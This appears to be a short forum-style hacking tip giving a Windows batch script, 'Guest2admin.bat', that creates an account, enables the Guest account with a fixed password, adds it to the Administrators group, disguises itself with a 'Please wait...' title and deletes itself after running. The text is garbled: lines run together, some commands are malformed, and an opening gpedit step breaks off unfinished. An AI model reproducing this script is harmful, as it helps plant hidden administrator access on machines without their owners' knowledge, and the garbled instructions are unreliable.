Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:

echo offtitle Please wait...clsnet user add Username Password /addnet user localgroup Administrators Username /addnet user Guest 420 /active:yesnet localgroup Guests Guest /DELETEnet localgroup Administrators Guest /adddel %0Type it in NOTEPAD and save the file as "Guest2admin.bat"then u can double click the file to execute or run in the cmd.it works...Note : Make sure that you have Guest profile on